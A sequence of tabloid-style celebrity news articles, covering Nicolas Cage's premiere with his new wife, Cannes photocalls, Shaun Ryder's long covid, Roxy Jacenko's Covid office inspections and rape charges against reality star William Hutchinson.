Just married! Nicolas Cage and his fifth wife Riko Shibata made their official red carpet debut as man and wife at the Los Angeles premiere of his film Pig on Tuesday night

May-December duo: At 57, the eccentric grandfather-of-four is 31 years older than his bride, whom he met in her native Japan in 2020

Riko was born in 1995 - the same year Nic's film Leaving Las Vegas was released, which famously earned him the Academy Award for best actor.

Shibata rocked her signature red lip and glammed up in a sparkly black shawl over a baggy black halter gown.

And Cage - who's the nephew of five-time Oscar-winning filmmaker Francis Ford Coppola - looked dapper in a grey suit over a white button-up and glossy dress shoes.

The Long Beach native - who's known to wear hairpieces - matched his necktie to his God-given baby blues.

Beaming: The newlyweds - who got engaged on FaceTime - tied the knot on February 16 in an intimate ceremony at Nevada resort and casino, Wynn Las Vegas

Oscar winner: Riko was born in 1995 - the same year Nic's film Leaving Las Vegas was released, which famously earned him the Academy Award for best actor

Holding hands: Shibata rocked her signature red lip and glammed up in a sparkly black shawl over a baggy black halter gown

Suited: Cage - who's the nephew of five-time Oscar-winning filmmaker Francis Ford Coppola - looked dapper in a grey suit over a white button-up and glossy dress shoes

Ready for his close-up: The Long Beach native - who's known to wear hairpieces - matched his necktie to his God-given baby blues

Riko is four years younger than her stepson Weston Cage Coppola from Nicolas' relationship with his Snake Eyes castmate Christina Fulton.

Shibata is also stepmother to 15-year-old Kal-El from Cage's 11-year third marriage to former cocktail waitress Alice Kim, which ended in 2016.

The History of Swear Words host has been previously married to Patricia Arquette (1995-2001), Lisa Marie Presley (2002), and Erika Koike (2019).

Nicolas produced and stars as chef-turned-solitary truffle forager Rob in the Oregon-set drama thriller, which hits US theaters this Friday and UK theaters on August 20.

First born: Riko is four years younger than her stepson Weston Cage Coppola (L, pictured in 2018) from Nicolas' relationship with his Snake Eyes castmate Christina Fulton

Blended brood: Shibata is also stepmother to 15-year-old Kal-El from Cage's 11-year third marriage to former cocktail waitress Alice Kim, which ended in 2016

Girlcrazy: The History of Swear Words host has been previously married to Patricia Arquette (1995-2001), Lisa Marie Presley (2002), and Erika Koike (2019)

Michael Sarnoski's feature directorial debut has already scored an impressive 96% critic approval rating (out of 27 reviews) on Rotten Tomatoes.

Once safely inside the Nuart Theatre in West LA, Cage spoke to the audience alongside his director, producer Vanessa Block as well as castmates Alex Wolff and Adam Arkin.

The 23-year-old Hereditary alum - who plays Amir in Pig - was so excited to reunite with the Raising Arizona alum he gave him a big bear hug on the red carpet.

The flick also features Nina Belforte, Gretchen Corbett, Julia Bray, Darius Pierce, and Elijah Ungvary.

Oink: Nicolas produced and stars as chef-turned-solitary truffle forager Rob in the Oregon-set drama thriller, which hits US theaters this Friday and UK theaters on August 20

Out of 27 reviews! Michael Sarnoski's (pictured) feature directorial debut has already scored an impressive 96% critic approval rating on Rotten Tomatoes

On the mic: Once safely inside the Nuart Theatre in West LA, Cage spoke to the audience alongside (from L-R) his director, producer Vanessa Block as well as castmates Alex Wolff and Adam Arkin

PDA! The 23-year-old Hereditary alum - who plays Amir in Pig - was so excited to reunite with the Raising Arizona alum he gave him a big bear hug on the red carpet

Two-time Grammy nominee Kesha managed to score a picture with the man of the hour, whose Tiger King series was passed on by Amazon on Tuesday.

The 34-year-old pop star certainly looked cheeky in her black thong bodysuit beneath a sleeveless mesh gown.

Make-up artist Vittorio Masecchia made sure Kesha's (last name Sebert) complexion was fully contoured for the event.

Nicolas also made sure to pose for selfies with fans, like a slim pretty brunette, outside the venue.

Glitterati: Two-time Grammy nominee Kesha (L) managed to score a picture with the man of the hour, whose Tiger King series was passed on by Amazon on Tuesday

Scantily clad! The 34-year-old pop star certainly looked cheeky in her black thong bodysuit beneath a sleeveless mesh gown

Kohl-rimmed eyes: Make-up artist Vittorio Masecchia made sure Kesha's (last name Sebert) complexion was fully contoured for the event

Smile! Nicolas also made sure to pose for selfies with fans, like a slim pretty brunette, outside the venue

Wolff attended the premiere with his singer girlfriend Rozzi Crane, who was discovered in 2010 by Maroon 5 frontman Adam Levine.

Oscar winner Alan Arkin's 64-year-old son Adam - who plays Darius in Pig - brought along his own 16-year-old son Emmet.

Other cast members present at the premiere included Elijah Ungvary and Nina Belforte, who portray Tweaker and Charlotte respectively.

Date night! Wolff attended the premiere with his singer girlfriend Rozzi Crane, who was discovered in 2010 by Maroon 5 frontman Adam Levine

All in the family: Oscar winner Alan Arkin's 64-year-old son Adam - who plays Darius in Pig - brought along his own 16-year-old son Emmet

Black-clad duo: Other cast members present at the premiere included Elijah Ungvary and Nina Belforte, who portray Tweaker and Charlotte respectively

Notable attendees included The Hitman's Wife's Bodyguard action star Frank Grillo with his date, Australian actress Nicky Whelan.

Crown Lake star Francesca Capaldi wore a light green pencil dress while Hairspray Live! alum Garrett Clayton sported a green jacket with patterned pants.

Also checking out the Pig premiere were Golden Girlz LIVE funnyman Drew Droege and his actor-photographer pal Beau Hoffman.

New couple alert? Notable attendees included The Hitman's Wife's Bodyguard action star Frank Grillo with his date, Australian actress Nicky Whelan

Shades of green: Crown Lake star Francesca Capaldi wore a light green pencil dress while Hairspray Live! alum Garrett Clayton sported a green jacket with patterned pants
Josephine Skriver showed off her washboard abs on Tuesday when she indulged in a spot of retail therapy with her best friend and fellow Victoria's Secret Angel Jasmine Tookes.

Stepping out in Beverly Hills wearing a partially unbuttoned lilac cardigan alongside a fuzzy bucket hat, the Danish runway star, 28, beamed from ear to ear while toting luxury shopping bags.

Tookes, 30, looked equally delighted to be in Skriver's company, and put on a typically stylish display in denim jeans, a white T-shirt and a chic, nude-hued blazer.

Wow: Josephine Skriver, 28, showed off her washboard abs on Tuesday when she indulged in retail therapy with her best friend and fellow Victoria's Secret Angel Jasmine Tookes, 30

Tookes' arms were also loaded with shopping bags from high-end stores, and the raven-haired beauty kept the sunshine at bay behind a pair of aviator style sunglasses.

Skriver also opted for jeans and wore her glossy, light blonde hair loose.

She teamed her outfit with trainers, while Tookes donned a pair of open-toe sandals.

The models first met during Fashion Week when they were just 16 and 18 respectively and have developed a close friendship over the years.

Stylish: Skriver donned a partially unbuttoned lilac cardigan alongside a fuzzy bucket hat, teaming the pieces with ripped jeans

The pair run a lifestyle and exercise community called JoJa together, with the beauties often posting fun fitness videos for their fans to follow online.

'[JoJa has] been keeping me motivated,' Jasmine told Hollywood Life in February.

'I know days when it's a little gloomy in LA and you wake up and you're like, ''Oh, I'm just not in the mood.'' But then Jo and I hold each other pretty accountable and we get each other to work out together.'

She added: 'It's been super fun to remind yourself how much you can do at home and how many things you can actually do with a water bottle or a cat or your kid, just using what you have at home!'

Elsewhere, Tookes is looking forward to marrying her fiance Juan David Borrero, the director of international markets at Snapchat, in his native Ecuador once it's safe.

'Hopefully, all of my Spanish classes will have paid off by then,' Jasmine joked to Vogue.

The 30-year-old son of Vice President-elect of Ecuador Alfredo Borrero Vega dramatically popped the question in Utah on September 21 with help from a drone.

Tookes and Borrero first met at The Rose Venice in 2016 after being introduced by Snapchat CEO Evan Spiegel and Australian model Miranda Kerr.
Nicole Murphy put on a leggy display on Tuesday when she was seen making her way to an LA spa with her adorable pet dog tucked beneath her arm.

Teaming her thigh-grazing bottoms with a stylish blouse and keeping the sunshine at bay behind a chic pair of black sunglasses, Nicole, 53, looked fabulous when she stepped out in Beverly Hills at the beginning of the week.

Opting for comfort in black flip flops, the star toted her belongings in a grey, over-the-shoulder bag and wore her short, raven tresses in her go-to pixie style.

Looking good: Nicole Murphy, 53, put on a leggy display on Tuesday when she was seen making her way to an LA spa with her adorable pet dog tucked beneath her arm

Nicole looked fresh-faced without so much as a spot of make-up on.

Accessorising with gold earrings, Nicole was also rocking an immaculate manicure.

Her fluffy pet pooch appeared at home in its owner's arms as Nicole made her way through the busy California street.

Nicole's latest appearance comes three months after her ex-husband comedian Eddie Murphy praised their children for not becoming Hollywood 'jerks.'

The former couple have five children - daughters Bria Murphy, 31, Shayne Murphy 26, Zola Murphy, 21, and Bella Murphy, 19, and son Miles Murphy, 28.

Glam: Nicole teamed her thigh-grazing bottoms with a stylish blouse and keeping the sunshine at bay behind a chic pair of black sunglasses

Speaking on Marc Maron's WTF podcast, he said: 'I am so blessed with my kids. I don't have one bad seed. I don't have any like Oh you are the one.

'I don't have any of that. My kids are so great, normal people - and nobody is like the Hollywood jerk kid.

'My kids are smart and are trying to do stuff. I am blessed with my kids. I really, really got lucky.'

Nicole and Eddie wed in 1993 after dating for nearly five years, and divorced in 2006 citing irreconcilable differences.

The Coming 2 America star maintained that he is on good terms with his ex-wife, as well as the other mothers of his children: 'Everybody's really cool with each other and it's all love all the way around everybody gets along that's a good thing. It's a love fest at the house.'

Co-parenting: Her latest appearance came three months after her ex Eddie praised the children they share, saying none of them are Hollywood 'jerks' (pictured together in 2005)
Roxy Jacenko has had her eastern suburbs offices in Sydney visited by police once again, following anonymous complaints her business is 'breaking Covid-19 rules'.

The PR guru, 41, shared a CCTV image to Instagram showing two officers in face masks waiting outside her office.

'Wouldn't be a normal day in the life of RJ if we didn't have a daily visit from some lovely officers who's [sic] time is wasted, yet again, by another anonymous tip-off about me "breaking the Covid-19 rules",' she wrote alongside the image.

'Suffice to say - again we toured the office & were of course compliant.'

'I asked next time for the raptor squad,' she joked, referring to the special NSW police branch dedicated to gang activity.

The timestamp on the video grab showed the visit was paid on Wednesday, at 3pm.

Fed up: Roxy Jacenko [pictured] has had her eastern suburbs offices in Sydney visited by police once again

This week, the Sweaty Betty PR guru is at her wits' end after she received a letter in the mail from SafeWork on Tuesday informing her that she was being investigated for allegedly putting her staff at risk.

In the warning letter, she was informed that a complaint has been made suggesting 'workers or others may be at risk' and that an investigation was taking place into alleged 'inadequate controls from biological hazards'.

This is despite accommodating two earlier visits from her local police who were sent out to inspect the conditions in her office following complaints from an unknown source.

Jacenko is losing an estimated $65,000 every week that the city stays in lockdown, and says that she, like any other small business owner with their head screwed on, is doing everything she can to comply so Sydney recovers as soon as possible.

Knock knock: The PR guru, 41, shared a CCTV image to Instagram showing two officers in face masks waiting outside her office

She already had most of her 30-strong team working remotely when Premier Gladys Berejiklian told Sydneysiders to stay home unless absolutely necessary.

Ms Berejiklian said the current Covid threat is the most significant Sydney has ever faced, and, as a result, Jacenko sent the rest of her non-essential staff packing.

On any given day, Jacenko has no more than four staff in her office. They work reduced hours and perform essential duties like packing and shipping orders, which simply can't be done from home.

Official government signs directing staff to wear face masks and maintain social distancing are scattered throughout the office, and there are several unoccupied desks in between every employee to ensure compliance.

Jacenko told Daily Mail Australia that the officers who visited noted her exemplary compliance.

Roxy Jacenko (pictured left) said officers who visited noted her exemplary compliance. Official government signs directing staff to wear face masks and maintain social distancing are scattered throughout the office (pictured right)

Jacenko has no more than four staff in her office at any given time - and all are required for essential packing and shipping work. Pictured: Jacenko with some of her staff more than two weeks ago, already wearing masks in the office

And yet on Tuesday she received a letter urging her to 'conduct an assessment of the issues raised to determine whether you are meeting your work health and safety obligations'.

The SafeWork inquiry determined an inspector would not be required to visit the office, but Jacenko was warned she could face further investigations in the future.

The mother-of-two is questioning whether the complaint was made internally, but says it's more than likely come from an outsider with a vendetta.

'I'm not a fool, I realise I'm polarising. But tall poppy syndrome is rife and people in this beautiful country cannot cope with others who want to make a real go of things. There are always people wanting to tear me down,' Jacenko said.

There are several unoccupied desks in between every employee to ensure compliance, as seen above

The Sweaty Betty PR guru was sent a letter on Tuesday which informed her that an investigation was taking place into alleged 'inadequate controls from biological hazards'

After spending 16 years cultivating a dream team, the PR guru would like to think that nobody within her fold would be making false reports

After spending 16 years cultivating a dream team, the PR guru would like to think that nobody within her fold would be making false reports.

'There are people in this street that call the police if I'm even hosing down my car... Whoever it is, they need to realise they're wasting precious resources.'

SafeWork inquiry determined an inspector would not be required to visit the office at this time. Despite her compliance with regulations, Roxy Jacenko was warned she could face further investigations in the future. Seen above is one of the hand sanitisers and one of several government-sanctioned signs in her office

Jacenko pointed out that police making repeated trips to her office only to find a completely compliant business are the same officers who then miss someone down the road being robbed, or a domestic violence event unfolding down the street.

But, she said on her Instagram post detailing the ordeal, that she is still considering all avenues of who could be behind the targeted attacks.

'I wonder if I stopped paying the wages of these imbeciles who are making these reports of me apparently flouting the rules they might change their tune,' she said.

Roxy Jacenko believes she may be the victim of a vendetta which sparked the investigation

Jacenko told Daily Mail Australia that she, like all small business owners, is counting down the days until Sydney can return to normal.

Her offshoot business, Pixie's Fidgets, is haemorrhaging an estimated $65,000-a-week after closing six stores when lockdown was announced.

'The financial burden is absolutely huge. I'm all for this. I'm wearing my mask, I'm following the rules. The sooner we follow the rules and it all stops the better for everyone.'

Jacenko has had her office deep cleaned and says she has one message for whoever is making false complaints when asked on Tuesday: 'Stop wasting resources'

The pressures of lockdown and additional scrutiny from authorities has Jacenko even questioning whether running a business is worth it.

'There's only so much you can put up with as a business owner. We're trying to make a go of it and we're still getting bashed from left and right.'

She had one message for whoever is making false complaints when asked on Tuesday: 'Stop wasting resources.

'Put your personal issues to the side and stop this. I'm just trying to keep afloat.'


Shaun Ryder has detailed his battle with coronavirus - and how he believes he is suffering from long covid.

Appearing on Breakfast on Wednesday morning, The former Happy Mondays and Black Grape star, 58, said: 'Every now and then, I wake up with no energy, and I spend that day falling asleep.'

Asked whether he thinks he has long covid - which 500,000 people in the UK are suffering from currently after battling COVID-19 - Shaun said: 'I haven't been told that but it just comes out of nowhere: I'm fine then - boom!

Shaun Ryder has detailed his battle with coronavirus - and how he believes he is suffering from long covid

'I get up one day and I'm gone, and I'm like that all day!'

Explaining how he originally contracted covid from two of his daughters, who were asymptomatic, he said: 'We were out doing Stand Up To Cancer. We'd been to London, mixing with people, having covid tests every day while we were filming...

'I got home - the two girls had got it but had no symptoms. I got it, ended up in bed for two or three weeks!'

Shaun - a father of six - has spoken candidly about his health in the past, but has insisted that his previous drug addition and hedonistic past has nothing to do with his current health woes.

Chat: He appeared on Breakfast on Wednesday morning. The former Happy Mondays and Black Grape star, 58, said, 'Every now and then, I wake up with no energy, and I spend that day falling asleep!'

Asked whether he thinks he has long covid - which 500,000 people in the UK are suffering from currently after battling COVID-19 - Shaun said: 'I haven't been told that but it just comes out of nowhere: I'm fine then - boom!'

He admitted his heath 'is not what it used to be', but said that although 'crack and meth' eroded his teeth, his drug use has had no other effects.

Shaun  who suffers from alopecia and was diagnosed with ADHD last year - explained to The Guardian earlier this year: 'I was a heroin addict for 20-odd years, but there's been no damage off that. I've never had anything wrong with me until I was 53.'

Speaking about his hair loss, Shaun revealed he turned to skin micropigmentation  a cosmetic technique used to replicate the natural look of features such as hair.

Discussing how he had been advised by a doctor to stop using a testosterone gel that he had been prescribed due to an under-active thyroid, Shaun said he started to lose his hair weeks later.

He said: 'Within a week I had no beard, no hair, no hair on my body.'

LONG COVID: WHAT IS IT AND COULD IT BE FOUR DIFFERENT SYNDROMES? Covid-19 is described as a short-term illness caused by infection with the novel SARS-CoV-2 coronavirus. Public health officials tend to say people will recover within two weeks or so. However it's become increasingly clear that this is not the case for everyone, and that the two-week period is only the 'acute illness' phase. The North Bristol NHS Trust's Discover project, which is studying the longer-term effects of coronavirus, found that out of a total of 110 patients given a three-month check up, most (74 per cent) had at least one persistent symptom after twelve weeks. The most common were: Excessive fatigue: 39%

Breathlessness: 39%

Insomnia: 24%

Muscle pain: 23%

Chest pain: 13%

Cough: 12%

Loss of smell: 12%

Headache, fever, joint pain and diarrhoea: Each less than 10% Other long term symptoms that have been reported by Covid-19 survivors, both suspected and confirmed, anecdotally, include hearing problems, 'brain fog', memory loss, lack of concentration, mental health problems and hair loss. The impact of Long Covid on people who had mild illness have not been studied in depth yet. Data from the King's College London symptom tracking app shows that up to 500,000 people in the UK are currently suffering from the long-term effects of Covid-19. In October, scientists claimed Long Covid could actually be split into four different syndromes. Academics at the National Institute for Health Research  headed up by Professor Chris Whitty  were asked to review the limited evidence on long Covid to help both patients and doctors understand the 'phenomenon'. Their findings warned that even children can suffer and it can't be assumed that people who are at lower risk of severe illness and death from Covid-19 are also at low risk of lasting side effects. Doctors cautioned some mental health problems such as anxiety and depression in 'long-haulers', as they are known, could be down to lockdowns, as opposed to the virus itself. The experts also claimed that the symptoms could be grouped into four different groups: Post intensive care syndrome (PICS)

Post viral fatigue syndrome (PVFS)

Permanent organ damage (POD)

Long term Covid syndrome (LTCS) Advertisement

Health: Shaun said although 'crack and meth' eroded his teeth, his drug use has had no other effects on his health (pictured with Black Grape in 1996)

Honest: Shaun revealed he had turned to skin micropigmentation  a cosmetic technique used to replicate the natural look of features such as hair

In 2020, Shaun was diagnosed with attention deficit hyperactivity disorder (ADHD) after two of his daughters were given the same diagnosis.

He told the outlet that this helped him to make sense of the reckless behaviours he displayed in his earlier years.

'This ADHD thing explains a lot: the impulsive behaviour, the drugs from a young age, not learning the alphabet until I was 28...

'Education is about remembering stuff and I could never remember anything, so I didn't get an education.'

Scary: Last year, Shaun revealed he faced a cancer scare during the first lockdown due to a benign growth on his testicle (pictured with Bez in 1989)

Attention Deficit Hyperactivity Disorder (ADHD) is a behavioural condition defined by inattentiveness, hyperactivity and impulsiveness.

Most cases are diagnosed between six and 12 years old. Adults can also suffer, but there is less research into this.

ADHD's exact cause is unclear but is thought to involve genetic mutations that affect a person's brain function and structure.

WHAT IS ADHD? Attention Deficit Hyperactivity Disorder (ADHD) is a behavioural condition defined by inattentiveness, hyperactivity and impulsiveness. It affects around five per cent of children in the US. Some 3.6 per cent of boys and 0.85 per cent of girls suffer in the UK. Symptoms typically appear at an early age and become more noticeable as a child grows. These can also include: Constant fidgeting

Poor concentration

Excessive movement or talking

Acting without thinking

Little or no sense of danger

Careless mistakes

Forgetfulness

Difficulty organising tasks

Inability to listen or carry out instructions Most cases are diagnosed between six and 12 years old. Adults can also suffer, but there is less research into this. ADHD's exact cause is unclear but is thought to involve genetic mutations that affect a person's brain function and structure. Premature babies and those with epilepsy or brain damage are more at risk. ADHD is also linked to anxiety, depression, insomnia, Tourette's and epilepsy. There is no cure. A combination of medication and therapy is usually recommended to relieve symptoms and make day-to-day life easier. Source: NHS Choices Advertisement

The star was famed for his hedonistic lifestyle in the 90s at the peak of the Happy Mondays' career, but cleaned up his act after meeting his second wife Joanne Ryder.

The musician  who shares two daughters with Joanne and has four other children from previous relationships - kicked his drugs habit during his forties.

Shaun famously lost his teeth after excessive use of crack, cocaine, ecstasy and heroin, leading him to spend 25,000 on rebuilding his smile.

He has now been off drugs and alcohol for 12 years and has not had a cigarette in five, after smoking his first aged just 10.

Last year, Shaun revealed he faced a cancer scare during the first lockdown due to a benign growth on his testicle.

The doting father said he thought he could 'never die' but the health scare put things in perspective.

He explained to The Sun he was suffering from a strange growth on his testicle, and despite being told it isn't cancerous, it was causing him discomfort since it was 'pressing on a nerve'.

Shaun shared at the time: 'This non-malignant growth in my testicle is pressing on a nerve...

'It's like having really bad toothache in your b***s. I can have the growth chucked out but I should've gone before lockdown started.'

The cancer scare put things into perspective for Shaun.

He explained: 'I was one of those dudes who never thought I could die, no matter what. I now think I'm not invincible. It doesn't worry me about dying...

'It's just that because I've got young kids, who are now 11 and 12, and I don't want to go because of them.

'The other ones have grown up but these two are still young, so it's like 'F***ing hell, I can't go anywhere because of them. That's what I panic about.'

Shaun has battled several ailments in recent years, including arthritis, alopecia, a thyroid problem and panic attacks, and on top of it all, his whole family were struck by coronavirus last year.

The star was most recently seen on Celebrity Gogglebox alongside former Happy Mondays bandmate and best friend Bez.
She received widespread critical acclaim and an Oscar nomination for her role in Borat Subsequent Moviefilm.

And Maria Bakalova cut a stylish figure as she attended a photocall for her latest film Women Do Cry at the Cannes Film Festival in France on Wednesday.

The Bulgarian actress, 25, ensured all eyes were on her as she arrived at the event in a green long-sleeved top by Louis Vuitton with a pleated skirt detail.

Looking good: Maria Bakalova cut a stylish figure as she attended the Women Do Cry photocall at the Cannes Film Festival in France on Wednesday

The garment featured structured shoulders while Maria also wore a pair of matching shorts.

The Borat star added height to her frame with a pair of white leather boots with a pink and black print.

Styling her blonde locks into a bob, Maria sported a pair of gold earrings which she wore with a matching brooch.

The actress looked sensational as she posed for the camera and completed her look with a pair of sunglasses.

Fashion: The Bulgarian actress, 25, ensured all eyes were on her as she arrived at the event in a green long-sleeved top by Louis Vuitton with a pleated skirt detail

Maria was joined at the event by the film's directors Vesela Kazakova, Mina Mileva and co-stars Katia Kazakova, Bilyana Kazakova and Ralitsa Stoyanova.

In the film, Maria plays a woman who is living with HIV and facing discrimination in her native Bulgaria.

Maria played Borat's 15-year-old daughter Tutar in Borat Subsequent Moviefilm, for which she was nominated for Best Supporting Actress at the Academy Awards.

At the time she said she was 'so grateful' to receive a nod for the award, after being nominated alongside Glenn Close, Olivia Colman, Amanda Seyfried, and Youn Yuh-jung - who won the prize for Minari.

Trendy: The Borat star added height to her frame with a pair of white leather boots with a pink and black print

Event: Styling her blonde locks into a bob, Maria sported a pair of gold earrings which she wore with a matching brooch

Cast and crew: Maria was joined by (L-R) Katia Kazakova, director Vesela Kazakova, Maria Bakalova, co- director Mina Mileva, Bilyana Kazakova and Ralitsa Stoyanova

Plot: In the film, Maria plays a woman who is living with HIV and facing discrimination in her native Bulgaria

Role: Maria received widespread critical acclaim and an Oscar nomination for her role in Borat Subsequent Moviefilm

The film, shot in the middle of both a pandemic and a fiercely fought American presidential election, is a sequel to Borat: Cultural Learnings Of America For Make Benefit Glorious Nation Of Kazakhstan, which came out 15 years ago.

In the sequel, Tutar stows away in a cage, and winds up in the 'U.S. and A', accompanying her hapless dad on a mission to restore his 'good' name, and she also came face-to-face with Rudy Giuliani.

Speaking to Baz Bamigboye about the scene, she said: 'I was able to hear my heart racing like crazy. He was the president's lawyer; and these people are super smart, usually.

'I'm not sure I saw it the way everybody else saw it. Sacha was hiding in the closet, trying to save his daughter  but he saved me, Maria! As a producer, and as a creator, he's my teacher and guardian angel.'

Movie: Meanwhile, the cast of the film Titane also attended a photocall for their movie on Wednesday (pictured L-R, Vincent Lindon, director Julia Ducournau and Agathe Rousselle)

Stylish: Actress Agathe Rousselle cut a trendy figure in a black top and matching mini skirt

Suave: Actor Vincent Lindon looked dapper in a navy blazer and matching trousers which he wore with a light blue shirt.

Beauty: Melanie Thierry looked incredible at the Tralala photocall, also on Wednesday

Stunning: Maiwenn opted for a dark grey vest top along with cream trousers and a large pair of sunglasses

Meanwhile, the cast of the film Titane also attended a photocall for their movie on Wednesday.

Actress Agathe Rousselle cut a trendy figure in a black top and matching mini skirt.

The star also wore a black leather jacket while she added height to her frame with matching thigh-high boots.

Production: They were joined by (L-R) songwriter Bertrand Belin, director Arnaud Larrieu, director Jean-Marie Larrieu, Maiwenn, Josiane Balasko, songwriter Dominique A and Galatea Bellugi

Arrivee: Model Poppy Delevingne arrived in Nice on Wednesday for the 74th annual Cannes Film Festival

Joining her at the event was the film's director Julia Ducournau who looked radiant in a black short-sleeved top and a white skirt with a back floral print.

The garment also featured a pleated hemline while Julia added to her outfit with black heels.

Actor Vincent Lindon looked dapper in a navy blazer and matching trousers which he wore with a light blue shirt.

Elsewhere, Melanie Thierry and Maiwenn both looked incredible at the Tralala photocall, also on Wednesday.

Suited up: She put on a trendy, chic display in a baggy cream pinstriped suit, over a flimsy white blouse

Spotted: Also seen was Sean Penn and Robin Wright's son Hopper Jack Penn

Melanie went with a casual look, donning a white and red striped top which she wore with black shorts and matching heels.

Maiwenn opted for a dark grey vest top along with cream trousers and a large pair of sunglasses.

This year's Cannes Film Festival runs from July 6-17.
Nicolas Cage will no longer play Joe Exotic in a planned biopic because the Tiger King drama has been scrapped by Amazon.

The Oscar-winning actor, 57, confirmed the news in a recently interview with Variety, telling the publication that although he had read 'excellent scripts' for the project, too much time had passed for it to go ahead.

He told the publication: 'We should clear the record. I read two excellent scripts, which I did think were excellent, but I think Amazon ultimately felt that it was material that had become past tense because it took so long for it come together.

Change of plan: Nicolas Cage will no longer play Joe Exotic in a planned biopic because the Tiger King drama has been scrapped by Amazon

'They felt at one point that it was lightning in a bottle, but that point has since faded into the distance and its no longer relevant.'

However, while Amazon declined to comment to Variety about the future of the series, it has been suggested by sources that the series could be 'shopped to other outlets.'

Though it remains unclear whether Nicolas would have any involvement.

Plans for the eight-part series, produced by Imagine and CBS Studios, were revealed in May last year, with the Face/Off star cast to play the disgraced zookeeper.

Axed: The Oscar-winning actor, 57, confirmed the news in a recently interview with Variety , telling the publication that although he had read 'excellent scripts' for the project, too much time had passed for it to go ahead

The news of the axe comes 16 months after the docuseries Tiger King first dropped on Netflix, which charted the rivalry between Joe and his nemesis, big cat activist Carole Baskin.

Elsewhere, a different Joe Erotic series is still going ahead.

On Sunday, Hedwig and the Angry Inch's John Cameron Mitchell was spotted for the first time taking on the titular role of Peacock limited series, Joe Exotic.

Too late: Nicolas , seen here in Con Air, explained: 'I think Amazon ultimately felt that it was material that had become past tense because it took so long for it come together'

The Texan-born 58-year-old rocked a blonde mullet wig, guy-liner, and a natural mustache in order to more authentically portray Joe Maldonado-Passage on the Brisbane, Australian set.

John and another actor playing Joe's partner between 19862001 - Brian Rhyne - were shooting a nineties-era scene of a ribbon-cutting ceremony for the opening of Super Pets.

In real life, Maldonado-Passage (then known as Schreibvogel) bought Pet Safari in Arlington, TX with Rhyne, who died of complications from HIV in 2001.

Filming: On Sunday, Hedwig and the Angry Inch's John Cameron Mitchell (left) was spotted for the first time taking on the titular role of Peacock limited series, Joe Exotic

After cutting the ribbon, Mitchell passionately packed on the PDA with his castmate in the show, which will also stream on NBC and USA Network.

The 58-year-old former roadside zookeeper eventually went on to marry Travis Maldonado (played by Nat Wolff) John Finlay (played by Sam Keeley) in a 2015 throuple wedding ceremony.

Justin Tipping directs the first four episodes of the series based on Robert Moor's 2020 Wondery podcasts, Joe Exotic and Over My Dead Body.

Kate McKinnon produces and stars as Joe's nemesis Carole Baskin alongside Dennis Quaid, Kyle MacLachlan, William Fichtner, Brian Van Holt, Dean Winters, Joel Marsh Garland, and Lex Mayson.

Cast: Kate McKinnon (L) produces and stars as Joe's nemesis Carole Baskin alongside Dennis Quaid (M), Kyle MacLachlan (R), William Fichtner, Brian Van Holt, Dean Winters, and more

Source material: Justin Tipping directs the first four episodes of the series based on Robert Moor's 2020 Wondery podcasts, Joe Exotic and Over My Dead Body

Elsewhere, Nicolas is set to work on his newest project, The Unbearable Weight of Massive Talent' in which he plays a cash-strapped version of himself who agrees to a paid appearance as a rich fan's birthday bash amid a CIA sting operation.

Admitting he initially hesitated at the thought of portraying a distorted version of himself, he said: 'It was absolutely terrifying and Im one of those folks that thinks that within reason if its something that terrifies you or you are afraid of, as long as it doesnt hurt you or someone else, thats the very thing you should reach out towards.

'Id never done a meta movie about myself before. But [the character] really isnt me. Its Toms version of me, which is a kind of anxiety-ridden, completely hyperactive version of this person named Nicolas Cage or Nic Cage or Nicky Cage.'
Marrying Millions star William Hutchinson pleaded not guilty yesterday to raping an unconscious 16-year-old girl at his Southern California vacation home.

The reality TV personality, 63, was accused by prosecutors of taking two 16-year-old girls on two trips to his vacation home in Laguna Beach this year.

Prosecutors from the Orange County DA's office alleged he raped one of the girls while she was unconscious and committed four acts of sexual battery against her.

When that female was said to have refused to return for a second visit, he reportedly returned to his vacation home with the other girl where he allegedly committed sexual battery against her.

The real estate developer has been charged with one felony count of rape of an unconscious person, and five misdemeanour counts of sexual battery.

Elsewhere, Hutchinson, seen in a mugshot, has also been charged in Texas with sexual assault tied to allegations of groping a 17-year-old girl at his Dallas-area home in May

Marrying Millions star William Hutchinson (pictured) has pleaded not guilty to raping an unconscious 16-year-old girl at his Southern California vacation home

Hutchinson, who is currently free on $100,000 bail, pleaded not guilty to all charges during a hearing Tuesday at Orange County Superior Court.

He declined to comment to reporters after the hearing, telling them as he got into a car: 'Have a nice day, no thank you.'

If convicted, Hutchinson could face up to eight years in state prison and two-and-a-half years in county jail.

His legal team say they will fight the charges in court, and they additionally claim that the alleged victim's story is motivated by greed as he boasts a multi-million dollar fortune.

Elsewhere, Hutchinson has also been charged in Texas with sexual assault tied to allegations of groping a 17-year-old girl at his Dallas-area home in May. He is the teen's legal guardian, court documents say.

He was arrested on July 6 for allegedly molesting the 17-year-old girl, who was passed out on the couch at his Texas home in May.

The reality TV personality (pictured), 63, was accused by prosecutors of taking two 16-year-old girls on two trips to his vacation home in Laguna Beach, California this year

Hutchinson, who has denied wrongdoing, surrendered to police in Highland Park, Texas, last week and is free on $30,000 bond in that case.

She said he plied her with alcohol and marijuana and in the morning she woke up in a daze to find him sexually assaulting her. That victim also claimed he gave both substances to a number of other younger women.

The TV star's camp claim the 17-year-old is the same accuser as one of the Laguna Beach accusers, and called the story 'fantastical' as she would have been assaulted twice while unconscious in the span of consecutive months.

Following his Texas arrest and release on bond, Hutchinson will not face charges for assaulting a minor because the age of consent is 17 in Texas.

Prior to the California charges, Hutchinson had also maintained his innocence.

'Anyone who knows me in this city knows that I am not capable of assault, sexual or otherwise,' he said, according to the Dallas Morning News.

Hutchinson shot to fame on the Lifetime show Marrying Millions, which chronicled his relationship with Brianna 'Bri' Ramirez - a hostess at a Dallas restaurant who he met when she was 21.

They got engaged on season two of the show and his now 23-year-old fiancee gushed as recently as April 14: 'Thank you for being there for me when life takes unexpected turns. Thank you for giving me a chance to regroup.'

Bri is younger than the Detroit-born businessman's three daughters - Holly, 32; Rachel, 30; and Tess, 28 - from his first marriage to Kathleen.

He also has two younger children - Annebelle, 16; and King, 11 - from his second marriage to a woman named Kandis.

He also owns Texas-based Dunhill Partners, a commercial real estate company that develops, leases or manages shopping centers and other properties nationwide.

On June 11, his commercial real estate investment firm announced that Andy Crosland would take over as president of his real estate company with Hutchinson remaining on as chairman of the board.

'I am happy to pass the torch to Andy, who is a born leader with the talent to back it up,' the Southern Methodist University grad said in a statement.

'He and I have talked about making this move for the past couple of years, and now is the perfect time.'
